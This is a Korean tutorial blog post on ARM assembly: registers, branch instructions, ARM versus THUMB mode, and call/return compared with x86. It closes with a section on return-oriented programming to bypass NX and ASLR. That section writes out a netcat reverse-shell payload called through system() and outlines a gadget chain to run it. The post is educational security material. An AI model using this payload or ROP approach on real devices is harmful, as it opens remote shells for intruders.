Register
R0
~R12
: 범용 레지스터, 인자값 및 임시 계산소 등이 들어감x86의
eax
,ebx
,ecx
... 등과 비슷한 역할을 함
R13(SP)
: Stack Pointerx86
의esp
와 비슷한 역할을 함
R14(LR)
: Link Register, 함수 호출 전 LR에 리턴 주소를 넣어둠.x86에서는 call할때 함수 호출 전 리턴주소를 stack에다가 넣어두지만, ARM에서는 LR에 넣어두어 함수를 call할때 스택을 사용하지않는다.
R15(PC)
: 다음 실행할 코드의 주소를 저장한다.x86의
eip
Assembly
B
: BranchB
명령어 뒤에 지정된 상수값에 해당하는 주소로 분기하는 명령이다.x86의
jmp
와 매우 유사하다.ex) B 0x08010203 = jmp 0x08010203
BL
: Branch with LinkBL
명령어 뒤에 지정된 상수값에 해당하는 주소로 분기한다.현재의 (
PC
에 들어있는 값) + (offset) 한 값을LR
에 남겨두고 지정 주소로 뛴다.
x86의
call
과 매우 유사하다.
BX
: Branch indirectBL
명령어 뒤에 지정된 레지스터로 분기하는 명령이다.ex) BX R0 = jmp R0
BLX
: Branch indirect with LinkBLX
명령어 뒤에 지정된 레지스터의 값에 해당하는 주소로 분기한다.현재의 (
PC
에 들어있는 값) + (offset) 한 값을LR
에 남겨두고 지정 주소로 뛴다.
STR
: 메모리 주소에 레지스터 값을 저장한다.연산 방향은 왼쪽에서 오른쪽이다.
ex) MOV R0, #0x100 : R0 레지스터에 0x100을 저장한다.
ex) MOV R1, #0x200 : R1 레지스터에 0x200을 저장한다.
ex) STR R1, [R0] : 0x100번지에 0x200을 저장한다.
ARM mode와 THUMB mode
ARM mode | THUMB mode | |
---|---|---|
bit | 32bit | 16bit |
register | 16개 | 8개 |
code length | 4bytes | 2bytes |
THUMB mode는 32bit ARM에서 돌아가는 16bit 기계어라는 말이다.
왜 32bit에서 16bit mode가 필요할까?
처음 32bit ARM이 만들어졌을때, 시장 점유율이 가장 높았던 embedded system의 메모리는 16bit였다.
32bit core를 가진 친구들이 많다고 해서 가장 흔하던 16bit memory를 무시할 수 없었다.
그래서 ARM은 16bit memory에서도 명령어를 효율적으로 사용할 수 있도록 ARM 명령어를 16bit로 압축한 명령어 세팅을 발표하는데, 그것이 THUMB이다.
일단 THUMB의 특징은 아래와 같다.
16bit 의 instruction set
ARM instruction보다 집적도가 높다.
일반적으로 32bit ARM instruction보다 느리지만 16bit memory시스템에서는 아닐수도 있다.
THUMB모드가 16bit memory에서도 명령어의 효율적인 사용을 위해서 만들어 졌으므로 충분히 가능성 있다.
ARM모드와 THUMB모드를 전환하면서 사용할 수 있다.
Difference of Instruction
Function call
x86
Instruction :
call
동작 방식 :
call
명령어 하나가 실행되면 아래와 같이 수행된다.push return address to stack.
mov dest
돌아올 return address를 stack에 저장하고, 실제 함수로 jmp한다.
ARM
Instruction :
BL
동작방식 :
BL
명령어 하나가 실행될 때, 내부적으로 아래와 같이 수행된다.mov LR, PC
mov PC, dest
돌아올 return address를
LR
에 저장하고 실제 함수로 jmp한다.
Return
x86
Instruction :
ret
동작방식 :
ret
명령어 하나가 실행될 때, 내부적으로 아래와 같이 수행된다.pop return address from stack
mov return address,
eip
함수 호출 시에 저장했던 return address를 스택에서 꺼내고 그 주소로 복귀한다.
ARM
Instruction :
ret
동작방식 :
ret
명령어 하나가 실행될 때, 내부적으로 아래와 같이 수행된다.mov pc, lr
함수 호출 시에 LR에 저장했던 return address를 PC에 넣고 바로 실행한다.
Return Oriented Programming
ASLR & DEP
DEP(NX bit)
는 스택의 실행권한을 없에는 보호 기법이다.
- 쉘코드가 실행 불가능하다.
- 우회하려면 ROP, RTL같은 기법들이 필요하다.
Return Oriented Programming는 보통 DEP(NX bit)
나 ASLR
을 우회하기 위해 사용된다.
일단 아래와 같은 명령어로 NX bit
를 확인할 수 있다.
root@....:~# cat /proc/프로세스num/maps
:
:
b6e43000-b6f04000 r-xp 00000000 00:0c 488 /usr/lib/libstdc++.so.6
b6f04000-b6f08000 r--p 000c0000 00:0c 488 /usr/lib/libstdc++.so.6
b6f08000-b6f0a000 rw-p 000c4000 00:0c 488 /usr/lib/libstdc++.so.6
b6f0a000-b6f12000 rw-p 00000000 00:00 0
b6f12000-b6f2b000 r-xp 00000000 00:0c 870 /usr/lib/libqcmap_client.so.1
b6f2b000-b6f2e000 rw-p 00019000 00:0c 870 /usr/lib/libqcmap_client.so.1
b6f2e000-b6f2f000 rw-p 00000000 00:00 0
bef4f000-bef70000 rw-p 00000000 00:00 0 [stack]
befb9000-befba000 r-xp 00000000 00:00 0 [sigpage]
ffff0000-ffff1000 r-xp 00000000 00:00 0 [vectors]
봐야 할 부분은 stack 부분이다.
stack에 execute 권한이 없으므로 NX bit
가 활성화 되어있음을 알 수 있다.
다음으로는 ASLR
이다.
ASLR
은 아래와 같은 명령으로 확인할 수 있다.
juntae@ubuntu:~/wargame$ cat /proc/sys/kernel/randomize_va_space
0 : ASLR 해제
1 : 랜덤 스택 & 랜덤 라이브러리 설정
2 : 랜덤 스택 & 랜덤 라이브러리 & 랜덤 힙 설정
Bulid payload
일단 우리는 우리의 PC에 쉘을 띄워야 하므로, 상대방 기기에서 우리의 기기로 가는 리버스쉘을 이용한다.
최종적으로 우리가 만들어야할 payload는 아래와 같다.
system("/bin/nc IP PORT -e /bin/sh");
ARM에서는 함수에 변수를 전달할때 r0
~ r4
레지스터를 이용한다.
즉, system
함수가 PC
에서 실행될때 r0
레지스터에 /bin/nc IP PORT -E /bin/sh
가 있으면 된다.
그래서 mov r[0~9], sp
가젯으로 스택의 주소를 레지스터에 넣고, 레지스터의 값을 r0
에다가 설정한 후 system
을 호출하면 원하는 명령이 실행된다.
Reference
[1] : arm rop 기법 / https://allyjin.tistory.com/40
[2] : ARM Assembly 정리 - ARM 기본 개념/ https://hyunmini.tistory.com/80
[3] : ARM Assembly Guide / https://m.blog.naver.com/PostView.nhn?blogId=gangst11&logNo=145839687&proxyReferer=https%3A%2F%2Fwww.google.com%2F
[4] : ASLR / https://www.lazenca.net/display/TEC/02.ASLR
[5] : ARM 소프트웨어 개발 도구 /
'Reversing > Assembly' 카테고리의 다른 글
[x86] 주요 어셈블리 명령어의 종류와 레지스터 ,( EBP, ESP, EIP, EAX ... )와 SFP (0) | 2019.04.06 |
---|